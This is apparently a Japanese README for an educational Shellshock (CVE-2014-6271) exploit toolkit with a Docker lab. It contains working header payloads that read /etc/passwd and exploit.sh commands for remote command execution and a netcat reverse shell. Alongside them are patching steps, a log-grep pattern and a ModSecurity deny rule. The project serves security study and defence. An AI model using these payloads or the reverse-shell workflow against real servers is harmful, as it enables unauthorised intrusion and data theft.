
Shellshock (CVE-2014-6271) の再現 - 何百万ものサーバーを危険にさらした bash の脆弱性。自動化エクスプロイトツールキット + Burp Suite の方法論 + Docker ラボ。セキュリティ研究と教育のために構築。オフェンシブセキュリティのポートフォリオプロジェクト。
CVE-2014-6271 (Shellshock) 向け自動エクスプロイトツールキット
2014年に世界中の数百万台のサーバーに影響を与えた Shellshock 脆弱性を実証する、完全なセキュリティ研究プロジェクトです。自動スキャン、エクスプロイト機能、および防御に関する推奨事項を含みます。
Demo
Shellshock (CVE-2014-6271) は、Bash シェルにおける深刻な脆弱性であり、環境変数の操作を通じてリモートでコードを実行される可能性があります。2014年に発見されるまで22年間存在し、世界中の何百万もの Unix/Linux システムに影響を与えました。
仕組み:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
CGI を使用する Web サーバーは HTTP ヘッダーを環境変数として Bash に渡すため、脆弱性の影響を受けます:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
自動スキャナー
エクスプロイトツール
ラボ環境
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


User-Agent ヘッダーを変更:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

サーバーはコマンドを実行し、その出力を返します。
Client (Attacker)
│
│ HTTP Request with malicious User-Agent
▼
Web Server
│
│ Passes header as environment variable
▼
CGI Script
│
│ Spawns Bash process
▼
Bash Shell
│
│ Parses function + executes trailing commands
▼
Command Execution (RCE)
Bash が環境変数内で関数定義に遭遇したとき:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
教育目的のみ。 所有しているシステム、またはテストの明示的な許可を得たシステムのみをテストしてください。無許可のアクセスは違法です。
脆弱性がどのように機能し、どのように防御するかを理解するために構築されました。 ;)